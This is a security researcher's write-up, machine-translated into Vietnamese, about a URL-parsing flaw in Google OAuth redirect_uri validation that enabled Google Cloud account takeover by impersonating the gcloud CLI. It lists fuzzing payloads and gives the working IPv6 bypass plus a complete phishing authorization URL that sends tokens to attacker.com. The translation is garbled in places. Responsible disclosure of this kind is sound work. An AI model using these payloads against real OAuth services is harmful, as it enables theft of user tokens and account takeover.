TL;DR
Lời bài hát: DrBài viết này đi qua một lỗ hổng truy cập tài khoản OAuth độc đáo mà tôi gần đây đã phát hiện ảnh hưởng đến một số dịch vụ Google.redirect_uri
Các lỗ hổng cho phép kẻ tấn công giả vờ các ứng dụng hợp pháp như khách hàng Google Cloud SDK và rò rỉ mã thông báo truy cập vào một máy chủ do kẻ tấn công kiểm soát cho phép truy cập cửa sau vào tài khoản nạn nhân - với gần như không có khả năng hiển thị cho nạn nhân.
Note:Bốn phần đầu tiên bao gồm nền tảng chung về OAuth, rủi ro rò rỉ token và nhầm lẫn phân tích URL. Nếu bạn đã quen thuộc với các khái niệm này, hãy nhảy thẳng vàoSection 5: Google Cloud Account Takeover Case.
1. giới thiệu
OAuth 2.0 cho phép các ứng dụng của bên thứ ba truy cập dữ liệu người dùng mà không xử lý mật khẩu trực tiếp bằng cách có một máy chủ ủy quyền (ví dụ, Google) tạo ra một token để ứng dụng của bên thứ ba sử dụng để yêu cầu dữ liệu người dùng hoặc thực hiện hành động thay mặt họ.
Nhưng nếu cácredirect_uri
parameter không được xác nhận với độ chính xác phẫu thuật, kẻ tấn công có thể giả vờ các ứng dụng đáng tin cậy và lừa người dùng để rò rỉ token truy cập của họ.
Trong bài viết này, tôi sẽ đi qua cách một lỗi phân tích URL tinh tế cho phép tôi làm chính xác điều đó - trên nhiều dịch vụ của Google - với một sự lặn sâu vào trường hợp của Google Cloud.
2. làm thế nào OAuth hoạt động
Trong khi OAuth là một giao thức khá phức tạp mà xứng đáng một loạt các bài viết để nắm bắt đầy đủ, đây là một tổng quan đơn giản:
-
Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).
-
Redirect with Grant: After approval, the server redirects the user back to a predefined
redirect_uri
with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). -
Request user data: The client app uses the token to access the user’s protected data from the resource server.
Để hình dung mọi thứ, biểu đồ siêu đơn giản dưới đây cho thấy tôi đăng nhập vào Medium bằng tài khoản Google của tôi:
Note:Trong nhiều trường hợp, máy chủ ủy quyền và máy chủ tài nguyên là như nhau.
Cấu hình OAuth Token Leakage
Nhìn vào biểu đồ ở trên, phần khó khăn nhất là bước 5, nơi máy chủ ủy quyền gửi mã thông báo được tạo trở lại ứng dụng khách.redirect_uri
Biết gửi token ở đâu
Nếu tham số này không được xác minh đúng cách, kẻ tấn công có thể giả vờ ứng dụng máy khách (ví dụ, Medium) và lừa máy chủ ủy quyền gửi cho họ mã thông báo truy cập của người dùng - mặc dù, từ quan điểm của người dùng, mọi thứ có vẻ hợp pháp.
Thông thường,redirect_uri
được xác nhận ở một mức độ nào đó – bạn không thể chỉ ném bất kỳ URL ngẫu nhiên nào vào máy chủ ủy quyền. Tuy nhiên, các phương pháp xác nhận khác nhau trong các triển khai tùy thuộc vào nhu cầu kinh doanh, và các lỗi trong quá trình này có thể được khai thác.
Một số mô hình chung:
- Strict Matching: Phù hợp chính xác với một URI đã đăng ký trước.
- Wildcard hoặc Path Prefix Matching: Cho phép URI như https://example.com/* hoặc https://*.example.com.
- Loopback Addresses: Thông thường trong các ứng dụng máy tính để bàn, nơi một máy chủ địa phương xử lý chuyển hướng.
URL Parsing - Sự nhầm lẫn
TheoRFC 3986 Đánh giá, một URL tiêu chuẩn có cấu trúc như sau:
scheme://username:password@host:port/path?query#fragment
Mỗi thành phần đóng một vai trò cụ thể:
-
scheme
: in web context it’s usually the protocol (e.g., http) -
username:password
: user credentials -
host
: the domain or IP address (e.g., google.com) -
port
: optional port number (e.g., 443) -
path
: the specific resource or endpoint (e.g., /login) -
query
: key-value pairs of parameters -
fragment
: a client side page reference
Note: host:port
được đề cập đến nhưauthority, username:password
được đề cập đến nhưuserinfo
Ở cái nhìn đầu tiên, điều này có vẻ đơn giản - nhưng sự khác biệt phân tích tinh tế có thể xảy ra, đặc biệt là khi xử lý các trường hợp cạnh. những sự khác biệt này có thể được khai thác cho các cuộc tấn công như bỏ qua xác nhận hoặc lừa đảo các yêu cầu trên các giao thức.
Các nhà phát triển có thể cho rằng một URL được phân tích một cách nhất quán, tiêu chuẩn hóa trên tất cả các thư viện, tuy nhiên, nghiên cứu rộng rãi về phân tích URL đã chứng minh điều ngược lại.
-
OAuth redirect URI validation
-
SSRF prevention
-
Proxy or CDN routing
Dưới đây là một ví dụ nơi một URL duy nhất được xử lý khác nhau trên ba phân tích khác nhau
Mặc dù bài viết này sẽ không đi sâu vào các cuộc tấn công nhầm lẫn phân tích URL, nhưng chúng được khám phá kỹ lưỡng trong bài báo Black Hat năm 2017Một kỷ nguyên mới của SSRF – khai thác URL Parser trong các ngôn ngữ lập trình xu hướng
Tài khoản Google Cloud Takeover Case
Nếu bạn đã từng sử dụng Google Cloud trước đây, bạn có thể đã gặp phảigcloud
CLI tiện ích — một công cụ dòng lệnh mạnh mẽ được sử dụng để quản lý tài nguyên Google Cloud. Trong số các tính năng khác, nó cho phép người dùng xác thực bằng cách sử dụng tài khoản Google của họ thông qua một dòng OAuth dựa trên trình duyệt.
Đây là cách nó hoạt động:
-
The user runs
gcloud auth login
-
gcloud
spawns a local http server on a dynamic port (e.g., http://localhost:50000) -
gcloud
opens a browser window directing the user to a Google OAuth authorization URL withredirect_uri
set to the local server address -
The user authenticates and consents to the requested scopes
-
Google redirects the user to
redirect_uri
containing the authorization code -
gcloud
exchanges the authorization code for an access token -
gcloud
uses the access token to perform actions on the user’s Google cloud account
Để dòng chảy này hoạt động, Google tin tưởng một số URL loopback nhất định (ví dụ, http://localhost) cho các ứng dụng gốc, vì chúng được coi là đủ an toàn để sử dụng cục bộ và được liệt kê bên trong.
A. Xác định bề mặt tấn công
Sau khi nhìn thấy alocalhost
Được sử dụng nhưredirect_uri
, bản năng đầu tiên của tôi là thay thế nó bằng127.0.0.1
và[::1]
Đây là một bước quan trọng bởi vì nó xác nhận rằng các URL thực sự đang được phân tích và so sánh bên trong, thay vì có một số kiểm tra cơ bản như:
if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
return False
Vì vậy, ở đây chúng ta có hai điều quan trọng đang diễn ra:
-
The provided
redirect_uri
gets parsed and validated internally by Google’s backend. -
After a successful login and user consent, users get redirected to
redirect_uri
in the browser.
Điều đó có nghĩa là chúng tôi có hai bộ phân tích URL, một được sử dụng bởi backend của Google, và bộ phân tích được sử dụng bởi trình duyệt của chúng tôi (Chrome trong trường hợp của tôi), vì vậy trừ khi hai bộ phân tích này giống hệt nhau, bất kỳ sự không nhất quán nào giữa chúng có thể được khai thác để rò rỉ giấy phép OAuth cho một máy chủ do kẻ tấn công kiểm soát.
Mục tiêu bây giờ rõ ràng, chúng ta cần phải tạo ra một URL được phân tích khác nhau giữa hai phân tích, theo cách mà chúng ta lừa phân tích backend của Google để phân tích nó như một địa chỉ loopback, trong khi phân tích của Chrome phân tích nó như một địa chỉ internet toàn cầu.
Thực tế là chúng tôi có kiến thức rất hạn chế về backend của Google và thư viện nào họ đang sử dụng nội bộ để phân tích URL, có nghĩa là chúng tôi chỉ còn lại với cách tiếp cận hộp đen.
B. Fuzzing vì chiến thắng
Những gì tôi làm tiếp theo là viết một kịch bản Python sẽ đột biến các URL khác nhau bằng cách áp dụng các thủ thuật mã hóa khác nhau, ghi chú thay thế và trường hợp cạnh để xem những trường hợp nào đã thông qua xác nhận backend của Google nhưng đã được giải thích khác bởi Chrome, kịch bản sử dụng một số thủ thuật như:
- [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1]
- Địa chỉ IP riêng tư: 10.0.0.5, 192.168.5.3, 127.10.0.1
- Các chương trình khác nhau: file://, ldap://, ftp://, javascript://, data://
- CRLF tiêm: %0D%0A
- Hostname/IP như thông tin người dùng: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
- URL rất dài: http://AAAAAA...@127.0.0.1
- Tên miền DNS: 127.0.0.1.attacker.com
- URL bị lỗi: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
- Truy vấn / Phân đoạn tiêm: Tiêm thêm ? , & hoặc # trước / sau @
- DNS rebinding (được kiểm tra theo cách thủ công)
Sau khi chạy kịch bản trong một thời gian, và đến sự ngạc nhiên của tôi, một trong những trường hợp cạnh được tạo ra quản lý để kích hoạt sự khác biệt chính xác tôi đang tìm kiếm, phản ứng của tôi là như sau:
Trường hợp Edge thành công được tìm thấy là:
http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/
mà có thể được đơn giản hóa thêm vào:
http://[::1]@[::1]@attacker.com/
Khi cố gắng phân tích URL này bằng Chrome, chúng tôi nhận được kết quả sau:
Phần thú vị vềhttp://[::1]@[::1]@attacker.com/
là nó là một URL bị lỗi để bắt đầu với.@
Tính cách được dành riêng để tách biệtuserinfo
Từ thehostname
Chrome giảm thiểu trường hợp cạnh này bằng cách mã hóa tất cả các ký tự không được dành riêng, cũng như các sự xuất hiện trước đó của các ký tự được dành riêng, và chỉ sử dụng các ký tự mới nhất.@
Điều này đảm bảo rằng bất kỳ@
trước khi cuối cùng được mã hóa URL.
Ngược lại, dựa trên thử nghiệm thử nghiệm với các biến thể tải trọng sử dụng, có vẻ như phân tích backend của Google đã không mã hóa đúng sự xuất hiện trước đó của các ký tự được bảo lưu và thay vào đó sử dụng sự xuất hiện đầu tiên của@
như người phân rẽ. sau khi chia@
Parser có thể đã trích xuấtuserinfo
vàhostname
từ các vị trí cố định, hoàn toàn bỏ qua việc theo dõiattacker.com
.
Điều đáng chú ý là hành vi này được kích hoạt độc quyền khi sử dụng IPv6.http://127.0.0.1@127.0.0.1@attacker.com
) nó hoạt động như mong đợi, nhấn mạnh rằng sự không nhất quán là cụ thể cho logic phân tích IPv6.
C. Đặt tất cả chúng lại với nhau
Bây giờ vector tấn công của chúng ta trở nên rõ ràng, chúng ta có thể giả vờgcloud
cli tiện ích và lừa một người dùng để xác thực suy nghĩ họ đang xác thực đểgcloud
.
Cuộc tấn công diễn ra như thế này:
- Tạo một yêu cầu ủy quyền OAuth độc hại và gửi liên kết của nó (mã khối bên dưới) cho nạn nhân
- Nạn nhân được trình bày với một luồng xác thực OAuth hoàn toàn hợp pháp cho khách hàng Google Cloud SDK (Hình 9)
- Nạn nhân đăng nhập và đồng ý với các quyền được liệt kê (mục đích)
- Nạn nhân được chuyển hướng đến máy chủ độc hại của chúng tôi, với tài trợ OAuth được tạo ra của họ
- Chúng tôi sử dụng tài trợ OAuth để thực hiện các cuộc gọi API vào tài khoản của nạn nhân thay mặt họ
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256
Dưới đây là một hình ảnh về dòng chảy tấn công được đề xuất
Từ quan điểm của người dùng, nó sẽ trông giống như họ đang xác thực vàogcloud
, ngay cả đối với máy chủ ủy quyền của Google, nó sẽ trông giống như người dùng đang cố gắng xác thực vàogcloud
Vì vậy, chúng tôi đang lừa dối cả hai bên xác thực để nghĩ rằng đó là một quá trình xác thực hợp pháp trong khi mã thông báo truy cập cuối cùng đang bị rò rỉ vào máy chủ độc hại của chúng tôi.
Token truy cập bị rò rỉ sẽ mang lại cho chúng tôi quyền truy cập không giới hạn trên tài khoản của nạn nhân, cho phép chúng tôi thực hiện ngay cả các hành động có đặc quyền cao.
Điều làm cho cuộc tấn công này nguy hiểm hơn là:
-
Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.
-
Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal
gcloud
application might request (we can only request scopes that are available but not actively requested)
Như đã đề cập ở đầu bài viết này,gcloud
Đây chỉ là một ứng dụng dễ bị tổn thương, dưới đây là một số ứng dụng khác mà tôi đã tìm thấy cũng dễ bị tổn thương:
-
Google Drive Desktop Client
-
Firebase Desktop Client
-
Windows Mail (3rd-party app)
Google đã phản ứng nhanh chóng, thừa nhận mức độ nghiêm trọng trong vòng 72 giờ và trao thưởng mức độ nghiêm trọng cao.
6 Kết luận
Nghiên cứu này làm nổi bật cách thức một sự chênh lệch phân giải URL tinh tế có thể làm suy yếu hoàn toàn bảo mật của toàn bộ luồng xác thực được tái sử dụng trên các ứng dụng và dịch vụ khác nhau, ngay cả khi được thực hiện bởi một công ty trưởng thành và có ý thức về bảo mật như Google.Bằng cách khai thác sự khác biệt giữa cách URL được giải thích bởi các phân tích khác nhau, chúng tôi đã có thể tạo ra các URI chuyển hướng độc hại rò rỉ token truy cập vào các máy chủ do kẻ tấn công kiểm soát - dẫn đến các kịch bản chiếm toàn bộ tài khoản.
Mặc dù OAuth là một giao thức trưởng thành và được nghiên cứu tốt, bảo mật của nó phụ thuộc rất nhiều vào các chi tiết thực hiện nhỏ bé khác nhau giữa các nền tảng, thư viện và môi trường.
Kể từ đó, Google đã sửa chữa lỗ hổng sau khi tiết lộ có trách nhiệm.
Cảm ơn đã đọc!